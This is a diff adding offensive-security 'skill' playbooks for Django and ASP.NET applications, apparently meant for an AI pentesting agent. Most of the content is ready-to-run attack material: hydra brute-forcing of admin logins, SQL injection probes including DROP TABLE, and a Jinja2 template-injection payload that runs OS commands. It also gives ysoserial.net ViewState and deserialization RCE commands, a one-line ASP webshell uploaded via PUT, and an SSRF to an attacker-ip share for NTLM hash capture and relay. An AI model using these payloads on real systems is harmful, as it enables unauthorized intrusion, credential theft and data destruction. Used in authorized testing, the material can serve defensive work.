- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
|
@@ -0,0 +1,268 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: django
|
|
5
|
+
description: Security testing playbook for Django applications covering debug mode, admin exposure, ORM injection, CSRF, SSTI, and Django-specific misconfigurations
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Django Security Testing
|
|
9
|
+
|
|
10
|
+
Django is the most common Python web framework. Attack surface spans the admin panel, ORM queries, template engine, session/CSRF handling, and common misconfigurations like DEBUG=True in production.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Reconnaissance
|
|
15
|
+
|
|
16
|
+
### Fingerprinting Django
|
|
17
|
+
|
|
18
|
+
# Django-specific URLs and paths
|
|
19
|
+
GET /admin/ # Admin panel (very common)
|
|
20
|
+
GET /admin/login/ # Admin login page
|
|
21
|
+
GET /static/admin/ # Django admin static files
|
|
22
|
+
GET /api/schema/ # DRF schema (if Django REST Framework used)
|
|
23
|
+
GET /api/swagger/ # Swagger UI
|
|
24
|
+
GET /api/redoc/ # ReDoc
|
|
25
|
+
GET /__debug__/ # Django Debug Toolbar (dev only)
|
|
26
|
+
GET /silk/ # Django Silk profiler
|
|
27
|
+
|
|
28
|
+
# Error pages reveal Django version
|
|
29
|
+
GET /nonexistent-path-12345 # 404 — check for Django branding
|
|
30
|
+
POST /any-form-without-token # 403 Forbidden with CSRF error reveals Django
|
|
31
|
+
|
|
32
|
+
# Headers
|
|
33
|
+
X-Powered-By: Django (sometimes)
|
|
34
|
+
Server: gunicorn / uvicorn
|
|
35
|
+
|
|
36
|
+
---
|
|
37
|
+
|
|
38
|
+
## Debug Mode (Critical)
|
|
39
|
+
|
|
40
|
+
DEBUG=True leaks: full stack traces with local variables, settings (including SECRET_KEY), installed apps, URL patterns, SQL queries.
|
|
41
|
+
|
|
42
|
+
# Trigger a 500 error to see debug page
|
|
43
|
+
GET /any-existing-url?param=<invalid-type>
|
|
44
|
+
|
|
45
|
+
# Check for Django Debug Toolbar
|
|
46
|
+
GET /?djdt=show
|
|
47
|
+
GET /static/debug_toolbar/js/toolbar.js # Confirms DDT installed
|
|
48
|
+
|
|
49
|
+
**Impact:** SECRET_KEY exposure = cookie/session forgery, CSRF bypass, password reset link prediction.
|
|
50
|
+
|
|
51
|
+
---
|
|
52
|
+
|
|
53
|
+
## Django Admin Panel
|
|
54
|
+
|
|
55
|
+
### Discovery
|
|
56
|
+
|
|
57
|
+
# Common paths
|
|
58
|
+
/admin/
|
|
59
|
+
/django-admin/
|
|
60
|
+
/backend/admin/
|
|
61
|
+
/panel/admin/
|
|
62
|
+
/manage/
|
|
63
|
+
|
|
64
|
+
# Enumerate apps from admin interface (visible after login)
|
|
65
|
+
# Brute-force admin credentials
|
|
66
|
+
hydra -l admin -P /usr/share/wordlists/rockyou.txt <target> http-post-form \
|
|
67
|
+
"/admin/login/:username=^USER^&password=^PASS^&csrfmiddlewaretoken=<token>:Please enter the correct"
|
|
68
|
+
|
|
69
|
+
### Admin Panel Attacks
|
|
70
|
+
|
|
71
|
+
# CSRF token extraction for brute force
|
|
72
|
+
curl -c cookies.txt -s <target>/admin/login/ | grep csrfmiddlewaretoken
|
|
73
|
+
|
|
74
|
+
# Mass action exposure: check for bulk delete/update actions
|
|
75
|
+
# Custom ModelAdmin views may have IDOR or missing permission checks
|
|
76
|
+
|
|
77
|
+
# Admin object history reveals internal IDs
|
|
78
|
+
GET /admin/<app>/<model>/<id>/history/
|
|
79
|
+
|
|
80
|
+
---
|
|
81
|
+
|
|
82
|
+
## SQL Injection via Django ORM
|
|
83
|
+
|
|
84
|
+
Django ORM protects against raw SQLi but raw queries exist:
|
|
85
|
+
|
|
86
|
+
# Dangerous patterns in Django code:
|
|
87
|
+
Model.objects.raw("SELECT * FROM table WHERE id = %s" % user_input) # Vulnerable
|
|
88
|
+
Model.objects.extra(where=["id = %s" % user_input]) # Vulnerable
|
|
89
|
+
cursor.execute("SELECT * FROM table WHERE id = " + user_input) # Vulnerable
|
|
90
|
+
|
|
91
|
+
# Safe (parameterized):
|
|
92
|
+
Model.objects.raw("SELECT * FROM table WHERE id = %s", [user_input]) # Safe
|
|
93
|
+
|
|
94
|
+
### Testing for Raw Query Injection
|
|
95
|
+
|
|
96
|
+
# Standard SQLi probes on all parameters
|
|
97
|
+
' OR '1'='1
|
|
98
|
+
' OR 1=1--
|
|
99
|
+
1 AND SLEEP(5)--
|
|
100
|
+
1; DROP TABLE users--
|
|
101
|
+
|
|
102
|
+
# Django ORM filter injection (lookups)
|
|
103
|
+
# Vulnerable: Model.objects.filter(**user_dict)
|
|
104
|
+
# Probe: ?field__class__=<injection> (not common but test)
|
|
105
|
+
|
|
106
|
+
---
|
|
107
|
+
|
|
108
|
+
## Template Injection (SSTI)
|
|
109
|
+
|
|
110
|
+
Django templates have limited SSTI (no eval by default) but Jinja2 is sometimes used:
|
|
111
|
+
|
|
112
|
+
# Django template engine (limited)
|
|
113
|
+
{{7*7}} # Won't execute — Django escapes this
|
|
114
|
+
{% debug %} # If allowed, dumps context variables (info disclosure)
|
|
115
|
+
|
|
116
|
+
# Jinja2 templates (if configured)
|
|
117
|
+
{{7*7}} # 49 — confirms Jinja2
|
|
118
|
+
{{config}} # Django settings exposure
|
|
119
|
+
{{request.META.HTTP_HOST}} # Server-side request info
|
|
120
|
+
{{cycler.__init__.__globals__['os'].popen('id').read()}} # RCE
|
|
121
|
+
|
|
122
|
+
# Identify template engine first:
|
|
123
|
+
{{7*'7'}} # Returns 49 = Jinja2 | Returns 7777777 = Twig | Error = Django
|
|
124
|
+
|
|
125
|
+
---
|
|
126
|
+
|
|
127
|
+
## CSRF
|
|
128
|
+
|
|
129
|
+
# Django CSRF checks:
|
|
130
|
+
# - Checks Origin/Referer header on HTTPS
|
|
131
|
+
# - Requires csrfmiddlewaretoken in POST body OR X-CSRFToken header
|
|
132
|
+
# - Uses cookie-to-header pattern by default
|
|
133
|
+
|
|
134
|
+
# Bypass attempts:
|
|
135
|
+
# 1. Remove CSRF token entirely (if @csrf_exempt on view)
|
|
136
|
+
# 2. Change method: POST → GET (if view accepts both)
|
|
137
|
+
# 3. Content-type switch: application/json (CSRF exempt in some setups)
|
|
138
|
+
# 4. Origin: null (sandboxed iframe)
|
|
139
|
+
# 5. Subdomain takeover → same-site bypass
|
|
140
|
+
|
|
141
|
+
---
|
|
142
|
+
|
|
143
|
+
## Authentication & Session
|
|
144
|
+
|
|
145
|
+
# Django session cookie: sessionid (HttpOnly, sometimes missing Secure/SameSite)
|
|
146
|
+
# Check cookie attributes:
|
|
147
|
+
curl -I <target> | grep -i set-cookie
|
|
148
|
+
|
|
149
|
+
# Session fixation: test if session ID changes on login
|
|
150
|
+
# 1. Get session cookie pre-login
|
|
151
|
+
# 2. Login
|
|
152
|
+
# 3. Check if sessionid changes
|
|
153
|
+
|
|
154
|
+
# Password reset token analysis
|
|
155
|
+
# Django uses HMAC-based tokens: <uid>-<timestamp>-<hash>
|
|
156
|
+
# If SECRET_KEY is known (from DEBUG=True), tokens can be forged
|
|
157
|
+
|
|
158
|
+
# Account enumeration via password reset timing
|
|
159
|
+
POST /accounts/password/reset/ body: email=test@example.com
|
|
160
|
+
# Response time difference reveals valid vs invalid emails
|
|
161
|
+
|
|
162
|
+
---
|
|
163
|
+
|
|
164
|
+
## Sensitive Endpoints
|
|
165
|
+
|
|
166
|
+
# Django REST Framework
|
|
167
|
+
GET /api/ # Browsable API root (lists all endpoints)
|
|
168
|
+
GET /api/?format=json # Force JSON response
|
|
169
|
+
GET /api/users/ # User list (check auth)
|
|
170
|
+
OPTIONS /api/<endpoint>/ # Returns allowed methods + serializer fields
|
|
171
|
+
|
|
172
|
+
# Common DRF auth endpoints
|
|
173
|
+
POST /api/auth/login/
|
|
174
|
+
POST /api/auth/token/
|
|
175
|
+
POST /api/token/
|
|
176
|
+
GET /api/token/refresh/
|
|
177
|
+
|
|
178
|
+
# Django Channels (WebSocket)
|
|
179
|
+
ws://<target>/ws/
|
|
180
|
+
ws://<target>/ws/chat/
|
|
181
|
+
|
|
182
|
+
---
|
|
183
|
+
|
|
184
|
+
## File Upload
|
|
185
|
+
|
|
186
|
+
# Django FileField/ImageField
|
|
187
|
+
# Test: content-type bypass, filename traversal, extension bypass
|
|
188
|
+
Content-Disposition: form-data; name="file"; filename="shell.php"
|
|
189
|
+
Content-Type: image/jpeg
|
|
190
|
+
[PHP webshell content]
|
|
191
|
+
|
|
192
|
+
# Path traversal in filename
|
|
193
|
+
filename="../../settings.py"
|
|
194
|
+
filename="%2e%2e%2fsettings.py"
|
|
195
|
+
|
|
196
|
+
# MEDIA_URL exposure: check if uploads are served without auth
|
|
197
|
+
GET /media/uploads/<filename>
|
|
198
|
+
|
|
199
|
+
---
|
|
200
|
+
|
|
201
|
+
## Information Disclosure
|
|
202
|
+
|
|
203
|
+
# .env files (common in Django deployments)
|
|
204
|
+
GET /.env
|
|
205
|
+
GET /config/.env
|
|
206
|
+
|
|
207
|
+
# settings.py exposure (source code misconfig)
|
|
208
|
+
GET /settings.py
|
|
209
|
+
GET /app/settings.py
|
|
210
|
+
|
|
211
|
+
# Django secret files
|
|
212
|
+
GET /db.sqlite3 # SQLite database exposed
|
|
213
|
+
GET /requirements.txt # Reveals package versions + framework info
|
|
214
|
+
GET /Pipfile
|
|
215
|
+
GET /Pipfile.lock
|
|
216
|
+
|
|
217
|
+
# Git exposure
|
|
218
|
+
GET /.git/config
|
|
219
|
+
GET /.git/HEAD
|
|
220
|
+
|
|
221
|
+
---
|
|
222
|
+
|
|
223
|
+
## Django-Specific Vulnerabilities
|
|
224
|
+
|
|
225
|
+
### Mass Assignment (DRF)
|
|
226
|
+
|
|
227
|
+
# DRF Serializer without read_only fields
|
|
228
|
+
# If serializer has no read_only_fields, extra POST fields may be accepted
|
|
229
|
+
POST /api/users/profile/
|
|
230
|
+
{"username": "user", "is_staff": true, "is_superuser": true}
|
|
231
|
+
|
|
232
|
+
### Open Redirect
|
|
233
|
+
|
|
234
|
+
# Django's next parameter in login redirect
|
|
235
|
+
GET /login/?next=https://evil.com
|
|
236
|
+
GET /accounts/login/?next=//evil.com
|
|
237
|
+
GET /accounts/login/?next=///evil.com
|
|
238
|
+
|
|
239
|
+
### Insecure Direct Object Reference
|
|
240
|
+
|
|
241
|
+
# Django URL patterns with integer PKs
|
|
242
|
+
GET /api/users/1/
|
|
243
|
+
GET /api/users/2/
|
|
244
|
+
# Check if auth enforces ownership
|
|
245
|
+
|
|
246
|
+
---
|
|
247
|
+
|
|
248
|
+
## Key Tools
|
|
249
|
+
|
|
250
|
+
nuclei -t django -u <target> # Django-specific templates
|
|
251
|
+
dirsearch -u <target> -e py,django,db # Path discovery
|
|
252
|
+
wfuzz -u <target>/admin/FUZZ/ -w wordlist.txt # Admin path enumeration
|
|
253
|
+
|
|
254
|
+
---
|
|
255
|
+
|
|
256
|
+
## Pro Tips
|
|
257
|
+
|
|
258
|
+
1. Always check `/admin/` — Django ships it enabled by default
|
|
259
|
+
2. DEBUG=True exposes SECRET_KEY in error pages → forge sessions, CSRF tokens, password reset links
|
|
260
|
+
3. Django REST Framework browsable API at `/api/` leaks full endpoint structure
|
|
261
|
+
4. Check `MEDIA_ROOT` serving — uploaded files often accessible without auth
|
|
262
|
+
5. DRF `ModelViewSet` with `permission_classes = []` = unauthenticated access
|
|
263
|
+
6. `{% debug %}` template tag in templates dumps entire context (info disclosure)
|
|
264
|
+
7. Password reset tokens expire after 3 days by default — check `PASSWORD_RESET_TIMEOUT`
|
|
265
|
+
|
|
266
|
+
## Summary
|
|
267
|
+
|
|
268
|
+
Django testing = admin panel + DEBUG mode + DRF API enumeration + ORM raw query injection. The admin panel and DEBUG=True are the fastest critical finds. DRF APIs often have authorization gaps (missing permission_classes, IDOR via integer PKs, mass assignment via serializer fields).
|
|
@@ -0,0 +1,280 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: dotnet
|
|
5
|
+
description: Security testing playbook for ASP.NET / .NET Core applications covering ViewState deserialization, Razor SSTI, NTLM auth bypass, IIS misconfigurations, and .NET-specific attack techniques
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# ASP.NET / .NET Core Security Testing
|
|
9
|
+
|
|
10
|
+
.NET is dominant in enterprise environments. Attack surface: ViewState deserialization (RCE without auth if machineKey is weak), Razor SSTI, NTLM credential capture, IIS misconfigurations, and .NET-specific deserialization gadget chains.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Reconnaissance
|
|
15
|
+
|
|
16
|
+
### Fingerprinting ASP.NET
|
|
17
|
+
|
|
18
|
+
# Response headers (often reveal framework and version)
|
|
19
|
+
X-Powered-By: ASP.NET
|
|
20
|
+
X-AspNet-Version: 4.0.30319
|
|
21
|
+
X-AspNetMvc-Version: 5.2
|
|
22
|
+
|
|
23
|
+
# ASP.NET Core (newer):
|
|
24
|
+
# No X-Powered-By by default, but:
|
|
25
|
+
# Server: Microsoft-IIS/10.0 → IIS = likely .NET
|
|
26
|
+
# .aspx, .ashx, .asmx file extensions
|
|
27
|
+
|
|
28
|
+
# Common .NET paths:
|
|
29
|
+
GET /elmah.axd # Error log viewer (CRITICAL if exposed)
|
|
30
|
+
GET /trace.axd # ASP.NET trace viewer (request details)
|
|
31
|
+
GET /ScriptResource.axd # Script resource handler
|
|
32
|
+
GET /WebResource.axd # Web resource handler
|
|
33
|
+
GET /api/ # ASP.NET Core Web API
|
|
34
|
+
GET /swagger/ # Swagger UI
|
|
35
|
+
GET /swagger/index.html
|
|
36
|
+
GET /_framework/blazor.server.js # Blazor server-side
|
|
37
|
+
GET /signalr/ # SignalR WebSocket hub
|
|
38
|
+
GET /hangfire # Hangfire job dashboard
|
|
39
|
+
GET /health # Health check endpoint
|
|
40
|
+
GET /metrics # Prometheus metrics
|
|
41
|
+
|
|
42
|
+
# Webconfig exposure (CRITICAL if accessible):
|
|
43
|
+
GET /web.config # ASP.NET configuration (connection strings, machineKey)
|
|
44
|
+
GET /web.config.bak
|
|
45
|
+
GET /appsettings.json # .NET Core config
|
|
46
|
+
GET /appsettings.Development.json
|
|
47
|
+
GET /appsettings.Production.json
|
|
48
|
+
|
|
49
|
+
---
|
|
50
|
+
|
|
51
|
+
## ViewState Deserialization (ASP.NET WebForms)
|
|
52
|
+
|
|
53
|
+
ViewState is base64-encoded state stored in `__VIEWSTATE` hidden field. If MAC validation is disabled or machineKey is weak → RCE.
|
|
54
|
+
|
|
55
|
+
# Step 1: Check if MAC validation is enabled:
|
|
56
|
+
# Extract __VIEWSTATE from page source
|
|
57
|
+
# Try sending request with modified __VIEWSTATE — if accepted = MAC validation off
|
|
58
|
+
|
|
59
|
+
# Step 2: If machineKey is in web.config (leaked):
|
|
60
|
+
<machineKey validationKey="AAAA..." decryptionKey="BBBB..." validation="SHA1" decryption="AES" />
|
|
61
|
+
|
|
62
|
+
# Step 3: Generate RCE payload using ysoserial.net:
|
|
63
|
+
# https://github.com/pwntester/ysoserial.net
|
|
64
|
+
|
|
65
|
+
# ViewState payload (MAC enabled, needs machineKey):
|
|
66
|
+
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami > C:\windows\temp\out.txt" \
|
|
67
|
+
--validationalg="SHA1" --validationkey="AAAA..." --decryptionalg="AES" \
|
|
68
|
+
--decryptionkey="BBBB..." --islegacy
|
|
69
|
+
|
|
70
|
+
# ViewState payload (MAC disabled):
|
|
71
|
+
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami" --islegacy --isdebug
|
|
72
|
+
|
|
73
|
+
# Submit crafted __VIEWSTATE in POST body
|
|
74
|
+
|
|
75
|
+
# Find machineKey in common locations:
|
|
76
|
+
GET /web.config
|
|
77
|
+
GET /App_Data/web.config
|
|
78
|
+
# Or via SSRF/LFI
|
|
79
|
+
|
|
80
|
+
---
|
|
81
|
+
|
|
82
|
+
## .NET Deserialization
|
|
83
|
+
|
|
84
|
+
# Generate gadget chain payloads with ysoserial.net:
|
|
85
|
+
# Windows: ysoserial.exe | Linux: mono ysoserial.exe
|
|
86
|
+
|
|
87
|
+
# Available formatters: BinaryFormatter, LosFormatter, ObjectStateFormatter,
|
|
88
|
+
# NetDataContractSerializer, SoapFormatter, XML, JSON
|
|
89
|
+
|
|
90
|
+
# BinaryFormatter gadget (most common):
|
|
91
|
+
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c whoami"
|
|
92
|
+
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "cmd /c whoami"
|
|
93
|
+
|
|
94
|
+
# JSON.NET deserialization (common in Web API):
|
|
95
|
+
ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "cmd /c whoami"
|
|
96
|
+
# Payload injected into any JSON field that accepts polymorphic objects
|
|
97
|
+
|
|
98
|
+
# SOAP/ASMX endpoints:
|
|
99
|
+
ysoserial.exe -f SoapFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c whoami"
|
|
100
|
+
|
|
101
|
+
# Detect deserialization: look for AAEAAAD/ prefix in base64 = BinaryFormatter
|
|
102
|
+
# Look for binary data in cookies, hidden fields, API responses
|
|
103
|
+
|
|
104
|
+
---
|
|
105
|
+
|
|
106
|
+
## Razor SSTI (ASP.NET MVC / Razor Pages)
|
|
107
|
+
|
|
108
|
+
# Razor is not a template engine in the traditional sense
|
|
109
|
+
# But if user input reaches @Html.Raw() or dynamic template rendering:
|
|
110
|
+
|
|
111
|
+
# Detection probes (Razor expressions):
|
|
112
|
+
@(7*7) # Outputs 49
|
|
113
|
+
@{var x=7*7;}@x # Also outputs 49
|
|
114
|
+
|
|
115
|
+
# If Razor code injection (very rare, needs unsanitized eval):
|
|
116
|
+
@{System.Diagnostics.Process.Start("cmd.exe", "/c whoami > C:\\temp\\out.txt")}
|
|
117
|
+
|
|
118
|
+
# More common: XSS via @Html.Raw():
|
|
119
|
+
@Html.Raw(userInput) # XSS if input not sanitized
|
|
120
|
+
# vs safe: @userInput or @Html.Encode(userInput)
|
|
121
|
+
|
|
122
|
+
# Blazor Server-Side: check WebSocket for exposed component state
|
|
123
|
+
|
|
124
|
+
---
|
|
125
|
+
|
|
126
|
+
## NTLM Authentication Attacks
|
|
127
|
+
|
|
128
|
+
IIS with Windows Authentication exposes NTLM hashes:
|
|
129
|
+
|
|
130
|
+
# Detect NTLM auth:
|
|
131
|
+
curl -I <target>
|
|
132
|
+
# WWW-Authenticate: NTLM → NTLM auth enabled
|
|
133
|
+
# WWW-Authenticate: Negotiate → Kerberos/NTLM
|
|
134
|
+
|
|
135
|
+
# Capture NTLM hash via Responder (if SSRF → internal NTLM auth endpoint):
|
|
136
|
+
responder -I eth0
|
|
137
|
+
|
|
138
|
+
# Trigger SSRF to internal Windows share → NTLM capture:
|
|
139
|
+
POST /ssrf-endpoint
|
|
140
|
+
url=\\\\attacker-ip\\share
|
|
141
|
+
|
|
142
|
+
# NTLM relay attack (if SSRF to internal UNC path):
|
|
143
|
+
impacket-ntlmrelayx -tf targets.txt -smb2support
|
|
144
|
+
|
|
145
|
+
# Identify NTLM-authenticated endpoints:
|
|
146
|
+
curl -v http://<target>/auth-endpoint 2>&1 | grep -i "NTLM\|Negotiate\|401"
|
|
147
|
+
|
|
148
|
+
---
|
|
149
|
+
|
|
150
|
+
## IIS Misconfigurations
|
|
151
|
+
|
|
152
|
+
# Short filename enumeration (IIS 6.x legacy):
|
|
153
|
+
# IIS creates 8.3 short filenames accessible via tilde (~)
|
|
154
|
+
GET /backup~1/ # Tests if backup directory exists
|
|
155
|
+
GET /web~1.con # web.config short name
|
|
156
|
+
|
|
157
|
+
# IIS scanner tools:
|
|
158
|
+
# https://github.com/irsdl/IIS-ShortName-Scanner
|
|
159
|
+
java -jar iis_shortname_scanner.jar 2 20 http://<target>/
|
|
160
|
+
|
|
161
|
+
# HTTP methods exposure:
|
|
162
|
+
OPTIONS / HTTP/1.1 # Check for PUT, DELETE, TRACE
|
|
163
|
+
# PUT enabled = arbitrary file upload to web root
|
|
164
|
+
|
|
165
|
+
# IIS PUT file upload (rare but still found):
|
|
166
|
+
curl -X PUT <target>/shell.asp --data "<%eval request(chr(35))%>"
|
|
167
|
+
|
|
168
|
+
# WebDAV (if enabled):
|
|
169
|
+
curl -X PROPFIND <target>/ -H "Depth: 1"
|
|
170
|
+
|
|
171
|
+
# IIS Unicode bypass (old IIS 4/5):
|
|
172
|
+
GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
|
|
173
|
+
|
|
174
|
+
# ASP Classic file extensions:
|
|
175
|
+
GET /default.asp
|
|
176
|
+
GET /index.asp
|
|
177
|
+
GET /admin.asp
|
|
178
|
+
|
|
179
|
+
---
|
|
180
|
+
|
|
181
|
+
## Elmah / Diagnostic Endpoints
|
|
182
|
+
|
|
183
|
+
# ELMAH (Error Logging Modules and Handlers) — extremely common exposure
|
|
184
|
+
GET /elmah.axd # Error log with full exception details
|
|
185
|
+
GET /elmah.axd?asyncMode=true
|
|
186
|
+
GET /elmah.axd?type=download # Download entire error log
|
|
187
|
+
|
|
188
|
+
# elmah.axd reveals:
|
|
189
|
+
# - Connection strings (db passwords)
|
|
190
|
+
# - Full stack traces with variable values
|
|
191
|
+
# - Internal IP addresses, file paths
|
|
192
|
+
# - Request data including cookies, POST bodies
|
|
193
|
+
|
|
194
|
+
# Other diagnostic endpoints:
|
|
195
|
+
GET /trace.axd # Full request trace (headers, session, form data)
|
|
196
|
+
GET /diagnostics
|
|
197
|
+
GET /admin/diagnostics
|
|
198
|
+
|
|
199
|
+
---
|
|
200
|
+
|
|
201
|
+
## appsettings.json Exposure (.NET Core)
|
|
202
|
+
|
|
203
|
+
# .NET Core config files (JSON, not XML)
|
|
204
|
+
GET /appsettings.json
|
|
205
|
+
GET /appsettings.Development.json
|
|
206
|
+
GET /appsettings.Staging.json
|
|
207
|
+
|
|
208
|
+
# Contents: connection strings, JWT secrets, API keys, service URLs
|
|
209
|
+
{
|
|
210
|
+
"ConnectionStrings": {
|
|
211
|
+
"DefaultConnection": "Server=...;Password=..."
|
|
212
|
+
},
|
|
213
|
+
"Jwt": {
|
|
214
|
+
"Secret": "super_secret_key_here"
|
|
215
|
+
}
|
|
216
|
+
}
|
|
217
|
+
|
|
218
|
+
---
|
|
219
|
+
|
|
220
|
+
## SignalR / WebSocket
|
|
221
|
+
|
|
222
|
+
# SignalR hub endpoints:
|
|
223
|
+
GET /signalr/negotiate?clientProtocol=1.5&connectionData=...
|
|
224
|
+
ws://<target>/signalr?...
|
|
225
|
+
|
|
226
|
+
# Hub method injection (if input reflected in hub method name):
|
|
227
|
+
# SignalR hubs may have authorization gaps — test all hub methods
|
|
228
|
+
|
|
229
|
+
# Blazor Server: client ↔ server circuit communication via WebSocket
|
|
230
|
+
# All component state transmitted — check for IDOR in component parameters
|
|
231
|
+
|
|
232
|
+
---
|
|
233
|
+
|
|
234
|
+
## Entity Framework SQL Injection
|
|
235
|
+
|
|
236
|
+
# EF Core parameterizes by default, but raw queries exist:
|
|
237
|
+
|
|
238
|
+
# Vulnerable:
|
|
239
|
+
context.Database.ExecuteSqlRaw($"SELECT * FROM Users WHERE Name = '{name}'")
|
|
240
|
+
context.Users.FromSqlRaw($"SELECT * FROM Users WHERE Id = {id}")
|
|
241
|
+
|
|
242
|
+
# Safe:
|
|
243
|
+
context.Users.FromSqlInterpolated($"SELECT * FROM Users WHERE Id = {id}")
|
|
244
|
+
context.Database.ExecuteSqlInterpolated($"DELETE FROM Users WHERE Id = {id}")
|
|
245
|
+
|
|
246
|
+
# LINQ injection via dynamic expressions (rare):
|
|
247
|
+
# If using Dynamic LINQ library with user-controlled sort/filter strings
|
|
248
|
+
|
|
249
|
+
---
|
|
250
|
+
|
|
251
|
+
## Common CVEs
|
|
252
|
+
|
|
253
|
+
| CVE | Product | Impact |
|
|
254
|
+
|-----|---------|--------|
|
|
255
|
+
| CVE-2019-0604 | SharePoint | RCE via deserialization |
|
|
256
|
+
| CVE-2021-31166 | IIS HTTP.sys | RCE (remote heap overflow) |
|
|
257
|
+
| CVE-2017-9248 | Telerik UI | Crypto bypass → file upload |
|
|
258
|
+
| CVE-2019-18935 | Telerik UI | RCE via deserialization |
|
|
259
|
+
| CVE-2014-6287 | HFS (HTTP File Server) | RCE |
|
|
260
|
+
|
|
261
|
+
# Telerik Reporting / UI for ASP.NET (extremely common):
|
|
262
|
+
GET /Telerik.Web.UI.WebResource.axd?type=rau # Check version
|
|
263
|
+
# CVE-2019-18935: Deserialize via RadAsyncUpload
|
|
264
|
+
nuclei -t cves/2019/CVE-2019-18935.yaml -u <target>
|
|
265
|
+
|
|
266
|
+
---
|
|
267
|
+
|
|
268
|
+
## Pro Tips
|
|
269
|
+
|
|
270
|
+
1. `elmah.axd` exposed = instant critical — reveals connection strings, cookies, full errors
|
|
271
|
+
2. ViewState MAC validation off (check via `EnableEventValidation=false`) = RCE with ysoserial.net
|
|
272
|
+
3. `machineKey` in `web.config` + ViewState = RCE even with MAC validation enabled
|
|
273
|
+
4. `appsettings.json` exposure is the .NET Core equivalent of Laravel's `.env`
|
|
274
|
+
5. NTLM via SSRF: force SSRF to `\\attacker\share` → capture NTLMv2 hash via Responder
|
|
275
|
+
6. Telerik UI RadAsyncUpload (CVE-2019-18935) is common in corporate ASP.NET apps — always check
|
|
276
|
+
7. IIS short filename tilde enumeration reveals hidden directories/files on Windows IIS
|
|
277
|
+
|
|
278
|
+
## Summary
|
|
279
|
+
|
|
280
|
+
